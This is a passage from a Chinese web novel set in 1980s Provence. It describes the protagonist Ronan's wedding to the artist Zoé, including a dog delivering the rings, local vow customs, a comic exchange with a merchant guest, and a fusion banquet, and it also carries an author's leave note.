原来是新娘的车队和他们‘汇合’了! 在吕贝隆,新娘前往婚礼仪式的路途,必须由父亲亲自护送。 此刻,美丽的新娘佐伊和路易坐在拖拉机上,正在对前方的罗南疯狂招手。 终于见到佐伊,罗南像是溺水人呼吸到了空气,整个人都被吸引了过去。 亨利开的速度并不快,他恨不得跳下去现在就把佐伊抱住。 皮埃尔一把摁住罗南的肩膀,在他耳边大喊: “快和你的朋友们打招呼!他们在对你挥手呢!!” 前半程,道路两侧都是本村村民。 城堡前的这一段路,则是来参加婚礼的外地朋友,听到拖拉机的声音和人群的欢呼声,出来迎接了。 罗南第一眼看到了朱莉特。 这位新上任的农业部领导正握着酒杯对他笑着招手。 在朱莉特身边站着的是协会中其他几位政府官员,在他们附近,罗南还看到了几位卢尔马兰政府的官员,包括希尔维和新人康蒂娜。 这些以前很难有交集的同行聚在一起,不知道在聊着什么。 又往前走了一段,罗南看到了一脸笑容的伊内斯。 今天会长大人一改之前的‘性冷淡’风,身上有了鲜艳的颜色。 在伊内斯身边,罗南又看到了雅克先生、加布里埃尔、西奥多尔等协会成员连去马德里养老的杰罗姆都出现了! 杰罗姆见到罗南一脸震惊,对他做了个仰头喝酒的手势,那意思是今天必须要好好喝一喝。 罗南回给杰罗姆一个‘战歌’中的舞蹈动作。 在教皇新堡生活了几十年的杰罗姆惊喜的瞪大眼睛,读明白了罗南的回复——今晚不醉不休。 杰罗姆的出现让罗南兴奋不已。 今天沃克吕兹省粉红酒爱好协会把聚会‘搬’了过来,人来的比平日里的聚会还多。 就是没有看到 正想着这些,罗南在靠近城堡那一侧捕捉到了一抹扎眼的红色。 他定睛看过去,发现那里站着的果然是阿斯特丽德。 但奇怪的是,阿斯特丽德没有和协会成员们待在一起,围着她讲话的人是旅游局的昆西和艾利安。 好奇怪的组合罗南在心里嘟囔了一句。 不过今天来了许多普罗旺斯各行各业的精英,有些他不了解的人际关系也是难免的。 在惊讶阿斯特丽德出现之余,罗南心中更多的是一股子期待。 “今天康奈尔和巴蒂不得疯了啊”罗南坏笑着去看这两个人,“对了,还有一个法比安,这个闷骚的家伙也喜欢阿斯特丽德,他们今天都要疯了。” 罗南没在人群中找到疯狂的康奈尔、巴蒂和法比安,先找到了其他‘疯狂’的家伙。 二十多个年轻的男男女女在人群里对他大喊大叫,像是误入人类社会的猴子。 “上帝!”罗南在保证安全的前提下,尽量把身体探出去,对那些人喊,“费尔南教授给你们放假了?” 远离人类社会的‘科研佬’也来了? 艾尔登双手呈筒状,回答道: “没有,教授让我们分批来,他现在在森林里盯数据,说晚一点过来找你喝酒!” 罗南也大声的回复: “今天的狂欢会持续到明天凌晨,你们几点来都有吃有喝!” 艾尔登对罗南比了个ok的手势,继续去看热闹了。 即将开到城堡脚下,两侧的人群突然‘安静’下来,原因是这个区域聚集的是艺术家们。 除了在卢尔马兰生活的这些,还有佐伊在外地的笔友们,在各种艺术活动上认识的同行和.普罗旺斯艺术界的大人物们。 罗南在艺术家人群里发现给过他莫大帮助和肯定的格拉内博物馆馆长诺曼德先生,还看到了依靠戈尔德系列艺术活动成为新任普罗旺斯艺术协会主席的马雷查尔。 而站在他们两个绝对的大人物身边的,居然是歌迪亚。 搞得歌迪亚也像是个牛逼大佬似的。 “但歌迪亚带出了我和佐伊可不就是牛逼大佬么?”罗南自嘲的想着。 看到这么多艺术家到场,罗南暗自发誓,等婚礼结束、商业街那边的新店也筹备完毕,一切稳定下来,要把艺术捡起来了。 不用多,一年创作一两件作品,能够在普罗旺斯艺术界始终有一席之地就好。 要不然怎么能配得上他的艺术家妻子佐伊呢? 罗南心里很清楚,这里面的很大一部分艺术家,都是奔着佐伊来的,她最近在普罗旺斯艺术界非常活跃。 当拖拉机停下,罗南又遇到了另外一位重量级别的嘉宾。 在十几个比卡福还壮的西装男保护下,走出了一位甜美的小公主。 罗南快速过去打招呼: “帕特里西亚小姐!” 上帝,这位他和佐伊绝对的‘伯乐’也来参加他们的婚礼了? 佐伊好大的面子啊。 帕特里西亚小姐提起裙子,优美的打了一个招呼: “罗南,又见面了!” 她的出现让罗南非常感动: “今晚玩的开心,有什么事随时找我。” “你要忙的事情太多,今天帕特里西亚小姐就由我来照顾吧。”许久未见的马雷查尔来到了二人身边,他先是和罗南握了下手,之后欲言又止的说,“终于又见面了。” 罗南品读出了马雷查尔想要和他好好叙旧的意愿,不过今天并不是个好时候。 而我们尊贵的帕特里西亚小姐今天也并不需要马雷查尔的照顾,她突然冲向罗南的身后,兴奋的蹦蹦跳跳: “啊!佐伊,你今天太美了!” 偶像邀请我来参加婚礼! 耶,又追星成功了!! 佐伊在路易的陪伴下,路过了一个又一个向她送上祝福的宾客。 但无论是知名艺术家,还是粉丝头子帕特里西亚都没有让佐伊停下脚步。 美丽的新娘径直走向罗南,调皮的挑了一下眉毛: “你们开得太慢了。” 我已经等不及成为你的妻子。 罗南拉起佐伊的手,坚定的走向城堡: “那我们后面提一提速度。” 马上,马上你就是我的合法妻子了。 罗南和佐伊已在一个月前完成了法律层面的婚姻注册,缺的只是民俗方面的流程。 但民俗的流程可比他们在卢尔马兰政府做的那些复杂的多得多。 宾客们移步到提前布置好的城堡户外观礼区,仪式台前,卢尔马兰村的神父也已经就位。 按照习俗,神父要先确认这对新人是否完成了常住地婚姻注册,且没有人提出过异议。 作为证婚人,也需要全程在仪式台上的布兰科呈上了一份份证明。 路过罗南时,他幽默的小声说: “如果说,我忘记带了,你们会不会想要当场打死我?” 罗南笑着耸肩,露出一副‘你真幽默’的表情。 手续齐全,神父开始干活。 接下来的流程是和宗教有关的当地习俗,包含祈祷、唱圣歌和神父宣读祝福等。 做完以上这些,才进入了婚礼的高潮时刻。 神父微笑着对罗南和佐伊说: “孩子们,我知道你们已经等不及宣读誓言了,现在请把婚戒准备好,我们要开始了。” 佐伊看向布兰科。 罗南说,包括材料和戒指等婚礼需要的东西,都放在他那里了。 罗南也看向布兰科,意思是赶紧把戒指给我。 布兰科的冷汗一下子流下来。 我今天还有一个身份是保管戒指吗? 怎么没有人告诉我? 布兰科迟迟拿不出戒指,神父的脸都开始白了。 观礼台下,莉亚和冯珍紧张的东张西望,问身边一切能问的人,知不知道婚戒在哪里。 在场最慌的非佐伊莫属。 人生中最重要的一天,不会被丢失的戒指所毁掉了吧? 她甚至想要问神父,没有戒指,婚礼还是否能继续。 就在气氛紧张之时,一道黑色的身影缓步跑来,蹲在了罗南和佐伊的身前,抬头坚定的看着他们。 “你们看,那只狗嘴里是不是叼了什么?!” 罗南取出小黑送来的戒指盒,直面还在震惊中没有走出的佐伊,微笑着说: “我的妻子那么喜欢动物,我猜在宣誓仪式上给孩子们安排一个‘角色’,她不会拒绝的。” 请假条 婚礼不好写啊,太难写了。 想多写点有意思的东西,又担心写的又臭又长,看无聊了。 而且我没怎么参加过婚礼,气氛什么的也不太好掌握。 容我好好润色和精简一下,再找点有意思的图,写成纯流水账就没意思了。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第556章 婚礼现场 众所周知,佐伊从小喜欢动物,最喜欢围绕动物进行创作。 熟悉罗南的人也知道,他喜欢制造惊喜和浪漫。 但没人知道,这两点能联系到一起去尤其是在重要的婚礼时刻。 “上帝,这个送戒指的方式太特别了,我差点以为他们的戒指丢了。” “不愧是普罗旺斯最著名的动物艺术家,在婚礼上安排狗来送东西太疯狂了!” “很特别的婚礼,可能过了几十年,我还会记得这一幕。” 观礼席的宾客们看的非常过瘾,以为这是一对新人提前设计好的特殊环节,纷纷称赞其用心了。 只有和罗南相熟的家人和帮忙筹备婚礼的朋友们知道.小黑的出现绝对是计划之外的! “罗南果然还是准备了惊喜。”伴娘团里几个女艺术家小声嘀咕。 “这个惊喜看的我都出汗了。”托尔尴尬的摸了摸脑袋。 饶是新娘佐伊在历经多次大场面后变成了一个‘大心脏’,仍无法从起初的紧张和随后的巨大惊喜中走出罗南拿起戒指好几秒钟,她还愣在原地说不出话。 她当然很喜欢这个戒指出场的特殊仪式、非常非常喜欢,但罗南就没想过.计划会失败吗? 罗南从佐伊的眼神和表情中读出了她的心理活动,牵着她的手面向神父、以继续后续的流程,同时小声解释: “小黑对找松露没有兴趣,但对人无比忠诚,我训练它帮我保管东西,即使中间相隔千山万水.它也一定会送来。” 去年训练小黑挖松露的过程像是一场噩梦,但这一次训练小黑送东西可以用‘水到渠成’来形容。 毫不夸张的说,看到小黑叼着戒指盒跑来的那一刻.罗南都有点感动的想哭了。 佐伊没有见过罗南和小黑的训练过程,但小黑的出现和罗南用心准备的‘惊喜’也让她感动的不要不要的。 不过现在可不是哭的时候,接下来他们要宣读誓言了。 小黑完成了‘使命’,乖乖的回到卢卡斯身边去找老婆。 但在半路,被一个戴着贝雷帽的怪叔叔堵住了去处。 哈基米半蹲下来,拿起相机一顿猛拍。 “别走啊‘伴郎’,和新郎新娘合完照再走。” “咔嚓——咔嚓——” 小黑的‘狗生照片’出现了。 普罗旺斯人风趣幽默,神父也不例外。 “感谢那位穿着黑色礼服的‘朋友’,我们的婚礼可以继续了。”他在胸前画了一个十字,逗的宾客们哈哈大笑。 一个短暂的小插曲过后,气氛再次庄重起来。 普罗旺斯新人宣读誓言遵循法国天主教传统框架,问题和句式是固定的,但不同地方会有不同特殊习俗,有可能会有小小的改动,吕贝隆这一片的风俗是,神父宣读誓言时会用普罗旺斯方言。 如果是外地来的朋友.那么要说句抱歉了。 这些人大概率听不懂神父说的是什么——普罗旺斯方言语调特殊,加上当地人那条说什么都像是赶火车般的舌头.一整句话里能听懂一两个单词就算是好的。 但这并不影响外地人理解内容,因为电视和电影里都演过问题有什么。 最典型的就是托尔,神父呜呜啦啦说了好几句,虽然听不懂,但身为伴郎的他还是在尽心尽力的给其他外地人做‘翻译’。 “罗南,你是否愿娶佐伊为妻,无论顺境逆境,始终忠贞爱她,遵从神的诫命尊重她,直至死亡?”托尔模仿着神父的语气做‘同声传译’。 仪式台上,罗南转头看向佐伊,坚定的点头: “是的,我愿意。” 罗南说的不是方言,这句并不需要翻译。 接下来,神父看向佐伊,继续用普罗旺斯方言问: “佐伊,你是否愿意接受你身边的罗南作为你的丈夫,无论顺境逆境,健康还是疾病,你都愿意爱他、尊重他、珍惜他,直至死亡?” 佐伊回看罗南,几乎脱口而出: “是的,我愿意。” 如果在巴黎,当男女双方宣读完誓言,要交换戒指并接吻。 托尔已经举起两只手,做好了鼓掌的准备但台上的罗南和佐伊面对面拉住了对方的手,同时张开嘴说——“c, ieu vòu li siéu tant que la tèrro tourno!“ 话音未落,托尔四面八方同时冲出许多年轻人,他们奔向仪式台,一边跑一边喊——‘tant que la tèrro tourno!’、‘tant que la tèrro tourno!’。 几个外地人疑惑的问‘翻译’: “他们在说什么?罗南和佐伊最后说的又是什么?” 这些是方言,他们没听懂。 托尔‘嗯嗯啊啊’半天,说不出来一个字。 电视剧和电影里没有这一段啊。 下一秒,一双大手附在了托尔的后背上。 卢卡斯推着托尔和其他几个年轻人加入狂欢的人群: “罗南和佐伊最后说的是‘我愿属于他/她,直至大地停止转动’,其他人在喊‘直至大地停止转动’,这是我们当地的习俗,快去,等他们接完吻,要架起‘荣誉拱门’了。” 托尔等几个外地人没听明白这是什么习俗,也不知道什么是‘荣誉拱门’,但还是积极的加入了其中。 “原来可以距离这么近看接吻吗?”托尔发出牛叫的‘哞哞’声。 普罗旺斯的婚礼比巴黎有意思多了! 观摩接吻的人冲得实在太快,佐伊和罗南才交换完戒指,还没来及接吻,他们就跑到眼前.一个个张牙舞爪的,这还怎么接吻啊? “你们在害羞什么,快亲上去!” “亲亲亲,亲啊,亲啊!” “难道需要我去摁着你们的头吗?” 在看热闹这件事上,不分男女,也不分老幼。 上到88,下到刚会趴,都凑到跟前催促罗南和佐伊赶紧完成接吻的流程。 罗南和佐伊看着对方同时大笑起来,他们可不是害羞的家伙,两个人都选择了做‘主动’的那一方——佐伊勾住了罗南的脖子,罗南扶住了佐伊的屁股,两个人同时用力,在外人看来就是两个嘴‘piaji’一下吸到一起,没有任何过程。 “哇哇哇!!”周围一片鬼哭狼嚎。 就喜欢你们这种大大方方的! “咔嚓——咔嚓——咔嚓——” 哈基米蹲在地上,又拍出了好几组‘人生时刻’: “美啊,太美了!” 这个吻持续了很长时间,罗南和佐伊都享受在当下的这个幸福时刻。 当他们睁开眼睛,发现眼前出现了一个用人搭建起来的‘长廊’,这便是卢卡斯说的‘荣誉拱门’。 这个习俗最开始需要亲友们手持工具,如镰刀、锄头,或日常用品如扫把和擀面杖等,交叉举起,形成一道道拱门。 新人从这些拱门下穿过,象征着社会对他们的接纳,以及即将共同面对的劳动与生活。 当新郎和新娘穿过全部‘拱门’,意味着习俗部分的仪式全部结束,他们从法律层面和社会层面都是合法的夫妻了。 不过这个习俗现在也做了一定的‘改良’,人们手中的工具和日常用品被鲜花所取代。 卢尔马兰的坏小伙们当然不会这么轻易的让罗南和佐伊通过,在中间设置了层层的‘阻碍’,例如让他们亲一下或者背过去等等。 年轻人们玩的不亦乐余,青春气息爆棚,老人家们也没闲着,罗天海和莉亚离开了观礼区,他们今天也有任务呢。 “待会罗南和佐伊会和宾客们合影,接下来‘酒会’就要开始了,我去准备餐食。”罗天海拍了拍妻子冯珍的手,“你在这里招待客人。” 今天的狂欢会一直持续到凌晨,不同的时间段有不同的准备要做。 在新人和朋友们合照的同一时间,其他宾客会被邀请到婚宴场地先进行一个简单的‘酒会’,大家喝酒聊天,等待新人的到来。 当罗南和佐伊拍完照片来到宴会厅,则代表今天的婚宴要开始了。 莉亚也放开了路易的胳膊: “我去准备蛋糕了,亲爱的。” 婚宴的重头戏是切蛋糕,莉亚也要去准备了。 她扭过头去,悄悄对维埃里说: “看好你爸爸,千万别让他闯祸!” 维埃里点了点头,目送母亲离开,之后问身边的伊莎贝尔: “你也要去忙了吗?” 今天餐厅的所有员工全来城堡帮忙了。 伊莎贝尔的目光还在‘荣誉拱门’那里,罗南此刻正在加布里埃尔的‘逼迫’下,抱着佐伊做蹲起呢,她点了点头: “对,不过我今天的工作是招待客人。” 今天来的客人太多,罗天海和莉亚是幕后工作者,‘台前’的接待由机灵的伊莎贝尔负责。 维埃里有些舍不得伊莎贝尔离开,因为今天她也打扮的很漂亮,不过她有正事要做: “去忙吧。” 伊莎贝尔离开不久,又小跑着回来,抱着维埃里的脑袋快速亲了一口: “好好看,学习一下,将来都有用的。” 今天来的大部分宾客都是罗南和佐伊较为相熟的朋友。 但也有极个别关系‘疏远’,或者在事业上没有什么交集,但在生活中有过联系的,就比如给罗南和佐伊家提供了生活保障的暖气&马桶商人西蒙老先生。 事实上罗南没有邀请这位‘奸商’先生的打算,但西蒙来给卢尔马兰村按马桶的时候看到了他和佐伊的公示牌,主动来罗南家送了一次祝福。 结婚嘛,主要图一个热热闹闹,既然人家来恭喜了,罗南就给西蒙发去了邀请。 今天,这位先生带着他热爱音乐的妻子一起来参加婚礼。 只是现场除了罗南和佐伊两家人外,西蒙先生和他的妻子谁都不认识,也没有熟悉到要去拍合照的地步,两位老人在婚礼现场显得有些‘局促’。 这一幕正好被伊莎贝尔看到,她主动过来和他们攀谈: “二位要去拍照吗?” 虽然是炎炎夏日,但西蒙还是穿了不属于这个季节的厚西装外套,在户外站的时间有点久,额头上出了一层密汗。 他指着穿着长裙的妻子对伊莎贝尔说: “谢谢,但不用了,把时间让给年轻人吧,我妻子有些热了,请问哪里有酒或者水吗?” 伊莎贝尔做了一个请的手势: “二位跟我来宴会厅吧。” 观礼处和酒会、晚宴是两个不同的场地,中间有2-3分钟的路程。 西蒙和妻子跟在伊莎贝尔身后,往城堡的深处行进,他妻子压低声音问丈夫: “你这个朋友很厉害吧?在城堡举行婚礼,还有‘宴会厅’,他是做什么的?” 西蒙起码还认识罗南和佐伊两家人,西蒙的妻子只认识一个西蒙,对罗南的信息毫不清楚。 但遗憾的是,西蒙先生对罗南的了解也停留在上上上个版本呢。 西蒙发出一道不是很清楚的鼻音,也用极低的声音回: “他是一个松露猎人,后来开了一家餐厅,但生意半死不活的,厉害肯定谈不上,你知道他有多吝啬吗?砍价都是一半以上的砍,我从来没见过这么吝啬的客户。” 西蒙给罗南家按暖气的时候,吕贝隆正在经历该死的西北风,连续吹了一个月,罗南刚刚开业的餐厅差点被吹倒闭了。 但天气如此恶劣,罗南还每天往森林里钻去找松露,显然和‘厉害’不沾边。 皮尔卡丹马桶砍了一半,暖气都砍到大动脉上了,说不定可以用穷来形容! 西蒙的妻子看了看左右的布置,犹犹豫豫的说: “但看着不像啊,这里只是布置就花了许多钱,而且是城堡诶,场地费多贵啊。” 伊莎贝尔的听力非常好,这个技能让她可以捕捉到许多客人需要的东西,并主动送去。 但这次她很难主动去做什么了。 不过她只是无语,不是失语,回头礼貌的介绍道: “城堡是卢尔马兰政府免费提供给罗南的。” 她想表达的意思是——罗南厉害到政府免费给他提供婚礼场地。 但这话到西蒙耳朵里变味儿了,他对身边的妻子说: “你看看,结婚场地都是白嫖的,我就说他吝啬吧!” 伊莎贝尔气的直翻白眼。 罗南娶了佐伊,维埃里是佐伊的弟弟这不就是在瞧不起她的家人么? 伊莎贝尔突然加快了脚步: “我先带二位参观一下吧。” 西蒙笑着摇头: “一个宴会厅,有什么好参观——” 话音未落,绕过一面古朴的城墙,面前突然‘豁然开朗’。 被百年历史所包裹的城堡庭院里,出现了一条蜿蜒‘长龙’,长龙由长桌所组成,尽头是吕贝隆山脉。 这一幕出自佐伊之手,她希望来参加酒会和婚宴的嘉宾们可以一抬头能看到美丽的自然风光。 “好漂亮的宴会厅!”西蒙的妻子惊的长大嘴巴,一不留神碰到了餐桌,桌子上的餐具发出了轻微的碰撞声。 伊莎贝尔扶住这位夫人,报复性极强的说: “请小心,这次婚宴使用的餐具都是艺术品,全部出自艺术家之手。” 西蒙把脸贴到玻璃杯上,不敢置信的问: “这么多餐具都是艺术品?” 伊莎贝尔微笑着回: “是的先生,罗南和佐伊同是普罗旺斯艺术家中的佼佼者,轮实力和名气可以排进前50,他们的婚礼当然不能用普通的餐具了。” 西蒙像是听到了什么恐怖的事情,瞪着眼睛问: “罗南?艺术家?” 那个每天像是从泥里挖出来的小子,是艺术家? “普罗旺斯艺术家协会的主席今天也来参加婚礼了。”伊莎贝尔带着他们去往另一个方向,“我带二位去冷餐区,你们拿点吃的喝的,等待罗南和佐伊过来。” 酒会采用传统的自助餐形式,自拿自取。 去冷餐区的路上,两侧随处可见红酒‘喷泉’和铺满冰块的‘酒船’。 在1987年,普罗旺斯大型活动上的酒水供应通常是以‘杯’为单位,服务员会一杯一杯的提供给宾客,但这里的供应单位似乎是以‘瓶’来计算的。 西蒙好奇的问伊莎贝尔: “这些酒瓶是道具吧?” 不会真的有人以瓶为单位供应酒水吧? 普罗旺斯人均酒鬼,这得花出去多少钱? 伊莎贝尔回头,露出一个‘内涵’的微笑: “当然不是了先生,罗南是普罗旺斯最大的粉红酒庄斯特斯加的老板,佐伊和罗南说了,开酒庄的怎么能缺了宾客的酒呢?如果您想,离开的时候甚至可以带走几瓶。” “你还说这个罗南不厉害!”西蒙的妻子冲向丰富的自助餐台。 只是奶酪和香肠就提供了几十种,而且现在还只是一个过渡的‘酒会’时间。 这是什么家庭啊? 你个老骗子! 西蒙立马换了一副嘴脸,讨好的对伊莎贝尔说: “待会请把我们带去距离新郎新娘比较近的位置坐吧,我和罗南太久没有联系,看来缺失了许多故事啊,今晚得好好补上了。” 这就开始舔了?我还没有‘介绍’完呢.伊莎贝尔腹诽道。 她歉意的回复: “抱歉先生,罗南周围已经坐满了。” 像西蒙一样,想要和罗南‘亲近’一下的人多了去了。 负责接待客人的伊莎贝尔今天听到太多类似的要求。 西蒙表示理解的点了点头,但不死心的继续念叨: “其实我和罗南未来有许多可以合作的地方,他的艺术品需要更大的市场,我可以给他介绍客户,我也有许多朋友爱喝粉红酒.你要不再问问罗南呢?” 伊莎贝尔今天忙得很,没时间和他周璇,主要是这口‘恶气’出的差不多了,装作为难的说: “但今晚坐在罗南周围的有普罗旺斯妇女基金会的会长、教皇新堡种植园联盟的总理事、艾克斯旅游大亨家的千金,马赛老船王的遗孀” 伊莎贝尔像报菜名一样一连说出了十几个人的身份: “这样吧先生,我去问问这些人,看他们谁愿意和您换个位置,我现在就去问,您稍等下。” 伊莎贝尔离开一分钟了,西蒙还瞪着眼睛回味那一个个响当当的大人物名号。 罗南这么厉害了吗?! 第557章 罗南的普罗旺斯幸福生活 拍照结束,进入婚宴时间。 普罗旺斯式婚宴通常是漫长而丰盛的,从中午持续到天黑。 想要办的成功,除了可以满足味蕾的丰富菜品,还要有可以持续调动宾客情绪的有趣环节。 罗南和佐伊选择用音乐和舞蹈填充婚宴间隙。 新郎和新娘刚一出现在宴会厅,音乐声便响起,只是出现的不是传统法国香颂.而是新潮的迪斯科音乐。 迪斯科音乐于70年代在美国兴起,但在1987年的法国还仅仅在‘新潮’人士中流行,就比如思想更加前卫的艺术家们。 当现场播放起旋律轻快、颇有拉丁风味的《La Isla Bonita》,艺术家们尖叫着摇动了起来,还频频发出‘太酷了’、‘这是我最喜的音乐’、‘我好像来到了艾克斯的舞会’等感叹。 普罗旺斯人有一种‘优良传统’,听到动感的旋律必手舞足蹈起来没有例外。 卢尔马兰村民们没有听过这首歌曲,却还是跟着艺术家们跳到了一块,几百个人同时跳起舞来,现场的气氛一下子就热闹非凡了。 特奥扭着屁股晃到罗南身边: “这歌谁唱的?之后我让科莫也在老酒馆放这首歌曲。” 站了好几个小时的罗南终于可以抽空坐下休息一会: “麦当娜,今年年初刚发行的新专辑里的歌曲。” 特奥骚气无比的扭着屁股继续问: “这个麦当娜挺带劲啊,长得好看吗?” 伴娘团正抽空给坐在罗南身边休息的佐伊补妆,薇薇安抢答道: “性感尤物!” 提到‘性感尤物’,伴娘团里的其中一位可就有话要说了。 巴蒂抻着脖子,在大厅里寻找起来: “那位女士来了吗?” 罗南和佐伊都没有反应过来巴蒂口中的‘那位女士’指的是谁,现场的女士太多了伴郎康奈尔却突然紧张起来: “你要干什么?” 巴蒂东张西望的说: “邀请她跳舞啊,我要邀请她跳今天的第一支舞。” “快算了吧,巴蒂!”康奈尔应激的说,“你要邀请太多人跳第一支舞了,歌迪亚、希尔维、伊内斯你甚至还对我妈妈说了同样的话,你到底有几个‘第一支’舞?” 巴蒂收回目光,无辜的耸肩: “很多第一支啊,今天要播放许多类型的音乐,现在是迪斯科,接下来是新浪潮,再之后是摇滚、流行金曲和乡村罗南和佐伊还请来了三支现场乐队演奏爱情歌曲、流行香颂和怀旧老歌,不同的音乐跳不同的舞种,这么算下来,我的‘第一支舞’人选还有空缺呢。” 在筹备阶段,康奈尔等卢尔马兰村民主要负责城堡布置,而巴蒂等艺术家们负责筹划婚礼中的各个内容环节。 听到巴蒂的回答,康奈尔错愕的问罗南: “要放这么多种歌曲类型吗?” 罗南亲了一下佐伊的侧脸: “因为我的妻子是个‘细节控’。” 这是罗南第一次在生活场景下,以‘我的妻子’来称呼佐伊。 佐伊也用同样的‘礼仪’还了回去,她解释道: “因为我的丈夫拥有一间餐厅,在婚宴的餐食搭配上,我当然要下一些功夫。” 康奈尔被说懵了。 现场音乐和餐食.是两个东西啊。 正在他抓耳挠腮、不知该如何询问才能显得自己不那么‘弱智’之时,服务员们端着‘餐前面包’出现了。 “前菜马上来,请稍等。”服务员把‘餐前面包’放到康奈尔面前的桌子上。 康奈尔定睛望去,发现那并不是他所熟悉的法式面包、橄榄酱、鱼子酱或者黄油组合.嗯,怎么说呢,确实是那些东西,只是样子变了。 罗南立即给身边的伴郎伴娘介绍: “鱼子酱帝王蟹塔,下面是中式酥皮;黄油鹅肝葱油饼,我爸爸研究了好几天的杰作;这个是川味腊肠配面包,赶紧吃几口,吃完咱们要去敬酒了。” 罗南家是开中餐厅的,婚宴的菜单当然要与众不同——罗天海立誓要让宾客们的舌头也永远记住这一天。 康奈尔立即将鱼子酱帝王蟹塔塞进嘴里,还没咽下去又一手一个,拿起了另外两种: “这个‘餐前面包’太好吃了!” 佐伊配合的继续补充: “‘餐前面包’像麦当娜一样火辣和性感,一口下去食欲大开迫不及待的要吃接下来的食物。” 这附近吃得最卖力的当属托尔。 在康奈尔还在咀嚼鱼子酱帝王蟹塔时,托尔已经品尝完了全部的‘餐前面包’,开始吃第二轮了。 这是他吃过味道最独特、最有新意的‘餐前面包’了。 罗南笑着拍了拍托尔的胳膊: “伙计,别吃太多,今天的菜单绝对是你这辈子见过最‘长’的,给后面的菜留留肚子。” 在普罗旺斯,普通的聚会都会有好几道主菜,时常拉的像是马拉松一样长。 罗南和佐伊势必要办一场隆重的婚礼,持续4-5个小时的婚宴必须要用一道道特色菜品所填充啊。 在今天的婚宴上,宾客们品尝到了川式椒麻汁与法式香草油混合调味的龙虾、用陈年花雕汁烹饪的地中海鲈鱼、撒着普罗旺斯香料的海胆茶碗蒸、用紫苏和油醋泡制的鲍鱼冻、刷着蜂蜜和迷迭香的烤乳猪,猪腹中塞着八宝饭、马赛鱼汤底蒸制的豆腐、配着莉亚秘制樱桃酱吃的脆皮烧鹅。 而每上一道菜,现场就会变换一次音乐类型,且音乐风格和该道菜的风味还是有所呼应的。 无论是身家千万的马赛船王遗孀,还是集万千宠爱为一身的小公主,亦或者是商业大亨全部在今天吃得不停嗦手指——这是法国人对美食的最高评价。 就连地地道道的美食家略伦特都在宴会中途主动端着酒杯来找罗南: “我永远不会忘记今天吃到的味道,你的中餐厅还是发展的太慢了,赶紧加快速度扩张,至少要开到戈尔德!” 罗南点着头说: “在筹备了,最晚明年,一定会开出卢尔马兰。” 略伦特喝罗南喝了一杯酒,欢快的说: “我去‘运动’一下,要不然吃不下去后面的东西。” 吃饱了去跳舞。 消化下去就继续吃 几乎所有宾客都是这样选择的。 罗南与其拥抱了一下: “今天一定要玩的开心。” “当然了,我今天太开心了!”现场乐队弹奏起了熟悉的法国经典旋律,略伦特迫不及待的回到自己的位置,“这是我妻子最喜欢的一首老歌,我要和她去跳舞了。” 精心准备的餐品,满足了美食家们的胃口。 各种类型的歌曲,也满足了喜欢跳舞的普罗旺斯人。 无论什么年纪、什么性别、什么身份,在今天都能乐在其中——这便是成功婚礼的样子,而罗南和佐伊做到了。 科学家说,开心的时候,时间会流淌的更加迅速。 不知不觉间,夕阳西下,美丽的吕贝隆山谷染上了一片粉红,似乎连上帝都在为这一对新人庆祝。 而到了这个时刻,婚宴的最后一道‘菜’要上桌了。 在欢快的音乐中,莉亚和几个妇女推上来了一个巨型蛋糕,那尺寸像是给巨人吃的,需要仰着头才能看到它的顶部。 年轻人再次围了上来,他们要见证新人切蛋糕的时刻。 切完蛋糕,婚礼的正式流程就要结束,后面的深夜狂欢环节属于‘自愿参加’的。 在和罗南去切蛋糕之前,佐伊偷偷对着宝莱特耳语了几句。 宝莱特捂着嘴偷笑了一会,悄悄的离开场地。 “宝莱特呢?”罗南发现伴娘团少了一个人。 佐伊挽住罗南的手,半真半假的说: “我让她先回家去做准备了,一会朋友们要过去,看看还缺什么。” 卢尔马兰城堡是历史文物,也是旅游景点。 借给罗南结婚用已经是极限,不可能让他们在这里狂欢到凌晨,接下来的活动要挪到罗南和佐伊的家里进行。 “我让康奈尔陪她去。”罗南回头找康奈尔。 佐伊阻拦道: “康奈尔还在为邀请阿斯特丽德女士跳舞做最后的努力,别打扰他了。” 罗南想了一下: “那好吧。” 佐伊催促罗南去切蛋糕: “快去切蛋糕,切完我们回家了。” 大部分宾客切完蛋糕就离开了卢尔马兰,大人物们明天还有事情要忙。 待会要去罗南家继续狂欢的是夫妻双方关系最好的朋友。 罗南将每一位要离开的宾客送走,如释重负的把礼服脱了: “今天终于结束了。” 这一天把他累死了。 佐伊的状态依然紧绷,确认城堡这里没有需要她和罗南要做的事情后,拉着罗南的手往家里走: “回家吧。” 罗南被拖拽着前行了几步: “休息一下,你不累吗?” “别让朋友们等太久。”佐伊头都不回的说,“他们等着咱们呢。” 罗南和佐伊带着一队人浩浩荡荡的回家,开启夜间狂欢活动。 这一路上,大家叽叽喳喳的,完全安静不下来。 有讨论食物的,有讨论麦当娜的,还有人在讨论婚礼上认识了什么有趣的新朋友,每个人脸上都喜气洋洋。 罗南知道今天来的朋友们是真的开心,因为他今天收获了许许多多的【幸福度】,足足有一千多呢。 系统的判定中,让他人感觉到幸福,也会给罗南涨经验。 他人的幸福让罗南的经验爆棚,反观罗南这里,除了早上仪式前后获得了一百多点经验,其他时候全都在忙忙碌碌中度过。 “想什么呢?”罗南想事情沉默了一会,佐伊敏锐的捕捉到了丈夫的异常。 罗南快速的看了看左右,发现没人注意他们俩,压低声音说: “我在想,我的‘幸福’生活要开始了。” 佐伊向来是‘直球’选手,坦然的反问: “你以前不幸福?” 罗南坏笑着摇头: “当然幸福,但以后更幸福了。” 偷偷摸摸的幸福,和每天同床共枕能的幸福能一样吗? 我们现在是合法夫妻了! “哦——”佐伊装作生气的说,“你想要的幸福原来只有那些啊。” “不是,当然不是。”罗南搂住佐伊的肩膀,正要说些腻歪的情话,突然看到漆黑的有一处不太寻常的灯火。 那个方位是罗南家没错。 但那些灯火通明的房间似乎不是罗南家发出的,轮廓看起来更像是工作室的二楼。 但那里什么都没有啊。 “工作室的灯怎么开了?”罗南嘀嘀咕咕的念叨。 今晚的狂欢地点也不在那里。 很快,一行人都发现罗南家的方向出现了不寻常的灯火。 佐伊穿着高跟鞋和裙子,无法走太快,罗南扶着她小心穿过漆黑的吕贝隆乡路,但其他人可就没有这么大的耐心了,纷纷丢弃罗南和佐伊,跑去罗南家看看发生了什么。 罗南带着佐伊,和几个也同样穿着裙子的伴娘回到家里,工作室的二楼窗户里马上探出了好几个脑袋。 